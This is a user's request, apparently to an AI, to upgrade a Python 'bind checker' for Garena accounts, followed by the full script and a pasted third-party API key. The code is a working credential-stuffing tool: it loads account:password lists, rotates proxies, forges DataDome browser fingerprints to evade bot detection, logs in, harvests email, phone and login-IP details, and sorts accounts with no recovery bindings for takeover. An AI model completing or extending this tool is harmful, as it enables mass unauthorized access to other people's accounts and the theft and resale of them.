hello can you update my garena account checker its a bind checker but having datadome captchas so we use bright data web unblocker since they claim they solve captchas and remove blocks here is my api key f34708de-5f6d-48f6-bc7a-9cb020e5dd77 and here is my code i need the full code and no comments too import requests
import time
import json
import os
import urllib.parse
from Crypto.Cipher import AES
import logging
import random
import colorama
from datetime import datetime
from PIL import Image
import pytesseract
import io
import json
import os
import urllib.parse
from Crypto.Cipher import AES
import logging
import random
import colorama
from datetime import datetime
from zenrows import ZenRowsClient
import hashlib

colorama.init(autoreset=True)

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler()
    ]
)

def load_proxies(proxy_file='proxies.txt'):
    try:
        with open(proxy_file, 'r') as f:
            return [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        logging.error(f"Proxy file {proxy_file} not found!")
        return []

def remove_proxy_from_file(proxy_str, proxy_file='proxies.txt'):
    try:
        with open(proxy_file, 'r') as f:
            proxies = f.readlines()

        with open(proxy_file, 'w') as f:
            for line in proxies:
                if proxy_str not in line:
                    f.write(line)
        logging.info(f"Removed failed proxy {proxy_str} from {proxy_file}")
    except Exception as e:
        logging.error(f"Error removing proxy from file: {str(e)}")

class ProxyRotator:
    def __init__(self, proxy_file='proxies.txt'):
        self.proxy_file = proxy_file
        self.proxies = self.load_proxies(proxy_file)
        self.current_index = 0
        self.failed_proxies = set()

    def load_proxies(self, proxy_file):
        try:
            with open(proxy_file, 'r') as file:
                proxies = [line.strip() for line in file if line.strip()]
            return proxies
        except FileNotFoundError:
            raise ValueError(f"Proxy file not found: {proxy_file}")

    def parse_proxy_string(self, proxy):
        if '@' in proxy:
            auth, host_port = proxy.rsplit('@', 1)
            host, port = host_port.split(':')
            if ':' in auth:
                username, password = auth.split(':', 1)
                return host, port, username, password
        elif proxy.count(':') == 3:
            host, port, username, password = proxy.split(':')
            return host, port, username, password
        else:
            raise ValueError(f"Unsupported proxy format: {proxy}")

    def get_next_proxy(self):
        if not self.proxies:
            return None
        
        attempts = 0
        while attempts < len(self.proxies):
            if self.current_index >= len(self.proxies):
                self.current_index = 0
            
            proxy = self.proxies[self.current_index]
            self.current_index += 1
            
            if proxy not in self.failed_proxies:
                try:
                    host, port, username, password = self.parse_proxy_string(proxy)
                    proxy_url = f"http://{username}:{password}@{host}:{port}"
                    return {
                        'http': proxy_url,
                        'https': proxy_url
                    }
                except ValueError as e:
                    logging.error(f"Proxy format error: {str(e)}")
                    self.failed_proxies.add(proxy)
                    continue
            
            attempts += 1
        return None

    def mark_proxy_failed(self, proxy, status_code=None):
        try:
            proxy_url = proxy['http']
            proxy_str = proxy_url.split('@')[-1]
            self.failed_proxies.add(proxy_str)
            if status_code == 403 or status_code is None:
                remove_proxy_from_file(proxy_str, self.proxy_file)
                if proxy_str in self.proxies:
                    self.proxies.remove(proxy_str)
                logging.warning(f"Removed failed proxy: {proxy_str} (Status: {status_code})")
        except Exception as e:
            logging.error(f"Error marking proxy as failed: {str(e)}")

    def test_proxy(self, proxy):
        try:
            test_session = requests.Session()
            test_session.proxies = proxy
            response = test_session.get('https://account.garena.com/', timeout=10)
            return response.status_code
        except Exception as e:
            logging.error(f"Proxy test failed: {str(e)}")
            return None

def encode(plaintext, key):
    key = bytes.fromhex(key)
    plaintext = bytes.fromhex(plaintext)
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()[:32]

def get_passmd5(password):
    decoded_password = urllib.parse.unquote(password)
    return hashlib.md5(decoded_password.encode('utf-8')).hexdigest()

def hash_password(password, v1, v2):
    passmd5 = get_passmd5(password)
    inner_hash = hashlib.sha256((passmd5 + v1).encode()).hexdigest()
    outer_hash = hashlib.sha256((inner_hash + v2).encode()).hexdigest()
    return encode(passmd5, outer_hash)

def applyck(session, cookie_str):
    session.cookies.clear()
    cookie_dict = {item.split("=")[0].strip(): item.split("=")[1].strip()
                   for item in cookie_str.split(";")}
    session.cookies.update(cookie_dict)

def get_datadome_cookie(session):
    url = 'https://dd.garena.com/js/'
    headers = {
        'accept': '*/*',
        'accept-encoding': 'gzip, deflate, br, zstd',
        'accept-language': 'en-US,en;q=0.9',
        'cache-control': 'no-cache',
        'content-type': 'application/x-www-form-urlencoded',
        'origin': 'https://account.garena.com',
        'pragma': 'no-cache',
        'referer': 'https://account.garena.com/',
        'sec-ch-ua': '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
    }
    
    payload = {
        'jsData': json.dumps({
            "ttst":76.70000004768372,"ifov":False,"hc":4,"br_oh":824,"br_ow":1536,"ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36","wbd":False,"dp0":True,"tagpu":5.738121195951787,"wdif":False,"wdifrm":False,"npmtm":False,"br_h":738,"br_w":260,"isf":False,"nddc":1,"rs_h":864,"rs_w":1536,"rs_cd":24,"phe":False,"nm":False,"jsf":False,"lg":"en-US","pr":1.25,"ars_h":824,"ars_w":1536,"tz":-480,"str_ss":True,"str_ls":True,"str_idb":True,"str_odb":False,"plgod":False,"plg":5,"plgne":True,"plgre":True,"plgof":False,"plggt":False,"pltod":False,"hcovdr":False,"hcovdr2":False,"plovdr":False,"plovdr2":False,"ftsovdr":False,"ftsovdr2":False,"lb":False,"eva":33,"lo":False,"ts_mtp":0,"ts_tec":False,"ts_tsa":False,"vnd":"Google Inc.","bid":"NA","mmt":"application/pdf,text/pdf","plu":"PDF Viewer,Chrome PDF Viewer,Chromium PDF Viewer,Microsoft Edge PDF Viewer,WebKit built-in PDF","hdn":False,"awe":False,"geb":False,"dat":False,"med":"defined","aco":"probably","acots":False,"acmp":"probably","acmpts":True,"acw":"probably","acwts":False,"acma":"maybe","acmats":False,"acaa":"probably","acaats":True,"ac3":"","ac3ts":False,"acf":"probably","acfts":False,"acmp4":"maybe","acmp4ts":False,"acmp3":"probably","acmp3ts":False,"acwm":"maybe","acwmts":False,"ocpt":False,"vco":"","vcots":False,"vch":"probably","vchts":True,"vcw":"probably","vcwts":True,"vc3":"maybe","vc3ts":False,"vcmp":"","vcmpts":False,"vcq":"maybe","vcqts":False,"vc1":"probably","vc1ts":True,"dvm":8,"sqt":False,"so":"landscape-primary","bda":False,"wdw":True,"prm":True,"tzp":True,"cvs":True,"usb":True,"cap":True,"tbf":False,"lgs":True,"tpd":True
        }),
        'eventCounters': '{"mousemove":0,"click":0,"scroll":4,"touchstart":0,"touchend":0,"touchmove":0,"keydown":0,"keyup":0}',
        'jsType': 'ch',
        'cid': '3CR6amzBHv~Ise0kO4pXAn3aBRyk90z8zboNS14cihNxMUM6We7Gq2acHYetgrwkb5TWNx1ABcFyLzPRU4gjISVR~RB22Y0bd4~LJrxGGThiZkDJE2A6mwQqhxftA3vK',
        'ddk': 'AE3F04AD3F0D3A462481A337485081',
        'Referer': 'https://account.garena.com/',
        'request': '/',
        'responsePage': 'origin',
        'ddv': '4.36.0'
    }

    data = '&'.join(f'{k}={urllib.parse.quote(str(v))}' for k, v in payload.items())

    try:
        response = session.post(url, headers=headers, data=data)
        response.raise_for_status()
        response_json = response.json()
        
        if response_json['status'] == 200 and 'cookie' in response_json:
            cookie_string = response_json['cookie']
            datadome = cookie_string.split(';')[0].split('=')[1]
            logging.info(f"DataDome cookie found: {datadome}")
            return datadome
        else:
            # Attempt to solve captcha using pytesseract
            if 'captcha_image_url' in response_json:
                captcha_image_url = response_json['captcha_image_url']
                captcha_response = session.get(captcha_image_url)
                img = Image.open(io.BytesIO(captcha_response.content))
                captcha_text = pytesseract.image_to_string(img)
                # Submit captcha solution here
                # For demonstration, return a placeholder cookie
                return "placeholder_cookie"
            else:
                logging.error(f"DataDome cookie not found in response. Status code: {response_json['status']}")
                return None
    except requests.exceptions.RequestException as e:
        logging.error(f"Error getting DataDome cookie: {e}")
        return None

def prelogin(session, account):
    url = 'https://authgop.garena.com/api/prelogin'
    params = {
        'app_id': 10017,
        'account': account,
        'format': 'json',
        'id': str(int(time.time() * 1000))
    }

    headers = {
        'Host': 'authgop.garena.com',
        'Connection': 'keep-alive',
        'sec-ch-ua-platform': '"Android"',
        'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Mobile Safari/537.36',
        'Accept': 'application/json, text/plain, */*',
        'sec-ch-ua': '"Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"',
        'x-datadome-clientid': 'RsIIyPYtcnhdXYVD_HwkgjhTWu1TY12nk9pJHW3SS75~xjNf7TgQX8N42fGr3FX2RGubJRQLAsCABq1pJttzvOozYj_paykRRoXgLpKnc~UVRcXWN7eDSAhWCOvsqNm4',
        'sec-ch-ua-mobile': '?1',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Referer': 'https://authgop.garena.com/universal/oauth?client_id=10017&redirect_uri=https%3A%2F%2Fshop.garena.ph%2F&response_type=token&platform=1&locale=en-PH&theme=light',
        'Accept-Encoding': 'gzip, deflate, br, zstd',
        'Accept-Language': 'en-US,en;q=0.9,fil;q=0.8',
    }

    try:
        response = session.get(url, headers=headers, params=params)
        response.raise_for_status()
        data = response.json()
        new_datadome = response.cookies.get('datadome')

        v1_data = data.get('v1', {})
        v2_data = data.get('v2', {})

        if not v1_data or not v2_data:
            logging.error(f"Prelogin error for {account}: Missing v1 or v2 data")
            return None, None, new_datadome

        logging.info(f"Prelogin successful: {account}")
        return v1_data, v2_data, new_datadome

    except requests.exceptions.RequestException as e:
        logging.error(f"Error fetching prelogin data for {account}: {e}")
        return None, None, None

def login(session, account, password, v1, v2):
    hashed_password = hash_password(password, v1, v2)
    url = 'https://authgop.garena.com/api/login'
    params = {
        'app_id': '10017',
        'account': account,
        'password': hashed_password,
        'redirect_uri': 'https://shop.garena.ph/app/100082',
        'format': 'json',
        'id': str(int(time.time() * 1000))
    }
    headers = {
        'accept': 'application/json, text/plain, */*',
        'referer': 'https://authgop.garena.com/universal/oauth',
        'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Mobile Safari/537.36'
    }
    try:
        response = session.get(url, headers=headers, params=params)
        response.raise_for_status()
        data = response.json()
        sso_key = response.cookies.get('sso_key')
        if 'error' in data:
            logging.error(f"Login failed: {data['error']}")
            return None
        logging.info(f"Logged in: {account}")
        return sso_key
    except requests.RequestException as e:
        logging.error(f"Login failed: {e}")
        return None

def initaccount(session, sso_key):
    url = 'https://account.garena.com/api/account/init'
    headers = {
        'accept': '*/*',
        'cookie': f'sso_key={sso_key}',
        'referer': 'https://account.garena.com/',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/129.0.0.0 Safari/537.36'
    }
    try:
        response = session.get(url, headers=headers)
        response.raise_for_status()
        data = response.json()
        ac_session = response.cookies.get('ac_session')
        logging.info("Account initialized")
        return ac_session
    except requests.RequestException as e:
        logging.error(f"Initialization failed: {e}")
        return None

def parse_account_details(data):
    user_info = data.get('user_info', {})
    binds = []
    detailed_info = {
        'email_status': 'Not Verified',
        'fb_status': 'Not Linked',
        'phone_status': 'Not Binded',
        'shells': 0,
        'last_login': 'N/A',
        'sensitive_ops': []
    }

    if user_info.get('email'):
        binds.append('Email')
        detailed_info['email_status'] = 'Verified' if user_info.get('email_v') == 1 else 'Not Verified'

    if user_info.get('mobile_no'):
        binds.append('Phone')
        detailed_info['phone_status'] = 'Binded'

    if user_info.get('fb_account') is not None:
        binds.append('Facebook')
        detailed_info['fb_status'] = 'Linked'

    detailed_info['shells'] = user_info.get('shell', 0)

    if data.get('login_history'):
        last_login = data['login_history'][0]
        detailed_info['last_login'] = {
            'ip': last_login.get('ip', 'N/A'),
            'timestamp': datetime.fromtimestamp(last_login.get('timestamp', 0)).strftime('%Y-%m-%d %H:%M:%S'),
            'source': last_login.get('source', 'N/A'),
            'country': last_login.get('country', 'N/A')
        }

    if data.get('sensitive_operation'):
        detailed_info['sensitive_ops'] = [
            {
                'operation': op.get('operation', 'N/A'),
                'ip': op.get('ip', 'N/A'),
                'timestamp': datetime.fromtimestamp(op.get('timestamp', 0)).strftime('%Y-%m-%d %H:%M:%S'),
                'country': op.get('country', 'N/A')
            } for op in data.get('sensitive_operation', [])
        ]

    if not binds and detailed_info['email_status'] == 'Not Verified':
        status = 'Clean'
    else:
        status = 'Binded'

    return {
        'username': user_info.get('username', 'N/A'),
        'email': user_info.get('email', 'N/A'),
        'mobile': user_info.get('mobile_no', 'N/A'),
        'country': user_info.get('acc_country', 'N/A'),
        'binds': binds,
        'status': status,
        'detailed_info': detailed_info
    }

def processaccount(session, account, password):
    try:
        datadome = get_datadome_cookie(session)
        if not datadome:
            print(colorama.Fore.RED + f"[-] {account}: DataDome cookie generation failed")
            return f"{account}: DataDome cookie generation failed"

        session.cookies.set('datadome', datadome)
        v1, v2, new_datadome = prelogin(session, account)
        if v1 is None or v2 is None:
            print(colorama.Fore.RED + f"[-] {account}: Prelogin failed")
            return f"{account}: Invalid (Prelogin failed)"

        if new_datadome:
            session.cookies.set('datadome', new_datadome)
        sso_key = login(session, account, password, v1, v2)
        if not sso_key:
            print(colorama.Fore.RED + f"[-] {account}: Login failed")
            return f"{account}: Invalid (Login failed)"

        session.cookies.set('sso_key', sso_key)
        ac_session = initaccount(session, sso_key)
        if not ac_session:
            print(colorama.Fore.RED + f"[-] {account}: Account initialization failed")
            return f"{account}: Invalid (Initialization failed)"

        session.cookies.set('ac_session', ac_session)

        account_init_url = 'https://account.garena.com/api/account/init'
        headers = {
            'accept': '*/*',
            'referer': 'https://account.garena.com/',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/129.0.0.0 Safari/537.36'
        }
        
        response = session.get(account_init_url, headers=headers)
        response.raise_for_status()
        account_data = response.json()
    
        if 'error' in account_data:
            if account_data.get('error') == 'error_auth':
                print(colorama.Fore.RED + f"[-] {account}: Authentication error")
                return f"{account}: Invalid (Authentication error)"
            print(colorama.Fore.RED + f"[-] {account}: Error fetching details")
            return f"{account}: Error fetching details ({account_data['error']})"
        
        details = parse_account_details(account_data)
        
        print(colorama.Fore.GREEN + f"[+] Successfully processed {account}")
        
        print(colorama.Fore.CYAN + "\n--- Account Details ---")
        print(f"Username: {details['username']}")
        print(f"Email: {details['email']}")
        print(f"Country: {details['country']}")
        
        print(colorama.Fore.YELLOW + "\n--- Binding Status ---")
        print(f"Bind Status: {details['status']}")
        print(f"Email Status: {details['detailed_info']['email_status']}")
        print(f"Phone Status: {details['detailed_info']['phone_status']}")
        print(f"Facebook Status: {details['detailed_info']['fb_status']}")
        
        print(colorama.Fore.MAGENTA + "\n--- Additional Information ---")
        print(f"Garena Shells: {details['detailed_info']['shells']}")

        if details['detailed_info']['last_login'] != 'N/A':
            print("\nLast Login:")
            last_login = details['detailed_info']['last_login']
            print(f"IP: {last_login['ip']}")
            print(f"Timestamp: {last_login['timestamp']}")
            print(f"Source: {last_login['source']}")
            print(f"Country: {last_login['country']}")

        if details['detailed_info']['sensitive_ops']:
            print("\nSensitive Operations:")
            for op in details['detailed_info']['sensitive_ops']:
                print(f"Operation: {op['operation']}")
                print(f"IP: { op['ip']}")
                print(f"Timestamp: {op['timestamp']}")
                print(f"Country: {op['country']}\n")

        result = {
            'account': account,
            'password': password,
            'status': 'Success',
            'username': details['username'],
            'email': details['email'],
            'phone': details['mobile'],
            'country': details['country'],
            'bind_status': details['status'],
            'email_status': details['detailed_info']['email_status'],
            'phone_status': details['detailed_info']['phone_status'],
            'facebook_status': details['detailed_info']['fb_status'],
            'shells': details['detailed_info']['shells'],
            'last_login': details['detailed_info']['last_login'],
            'sensitive_ops': details['detailed_info']['sensitive_ops'],
            'is_clean': details['status'] == 'Clean' and details['detailed_info']['email_status'] == 'Not Verified'
        }
        return result

    except requests.RequestException as req_err:
        print(colorama.Fore.RED + f"[-] Request Error for {account}: {str(req_err)}")
        return f"{account}: Request Error"
    
    except Exception as e:
        print(colorama.Fore.RED + f"[-] Unexpected Error for {account}: {str(e)}")

def readaccount(filename):
    session = requests.Session()
    proxy_rotator = ProxyRotator()
    try:
        with open(filename, 'r', encoding='utf-8') as file:
            accounts = [line.strip().split(':') for line in file]
        for index, account_info in enumerate(accounts):
            proxy = proxy_rotator.get_next_proxy()
            if proxy:
                session.proxies.update(proxy)
                logging.info(f"Using proxy: {proxy['http']}")

            if len(account_info) != 2:
                logging.warning(f"Skipping invalid format: {':'.join(account_info)}")
                continue

            account, password = account_info
            logging.info(f"Processing {account}...")

            try:
                result = processaccount(session, account, password)

                if isinstance(result, dict):
                    if result['is_clean']:
                        with open('clean.txt', 'a+', encoding='utf-8') as clean_file:
                            clean_file.seek(0)
                            if f"{account}:{password}\n" not in clean_file:
                                clean_file.write(f"{account}:{password}\n")
                                print(colorama.Fore.GREEN + f"[+] {account} saved to clean.txt")
                    else:
                        with open('binds.txt', 'a+', encoding='utf-8') as binds_file:
                            binds_file.seek(0)
                            if f"{account}:{password}:{result['bind_status']}\n" not in binds_file:
                                binds_file.write(f"{account}:{password}:{result['bind_status']}\n")
                                print(colorama.Fore.YELLOW + f"[!] {account} saved to binds.txt")
                else:
                    with open('errors.txt', 'a', encoding='utf-8') as errors_file:
                        errors_file.write(f"{account}:{password}:{result}\n")
                    logging.error(f"{account}: Error - {result}")

            except Exception as e:
                logging.error(f"Error processing account {account}: {str(e)}")
                if proxy:
                    proxy_rotator.mark_proxy_failed(proxy)
                continue

    except Exception as e:
        logging.error(f"Error reading accounts: {e}")
        logging.exception("Exception details:")
        
        time.sleep(1)


if __name__ == "__main__":
    filename = input("Enter the filename containing accounts: ")
    readaccount(filename)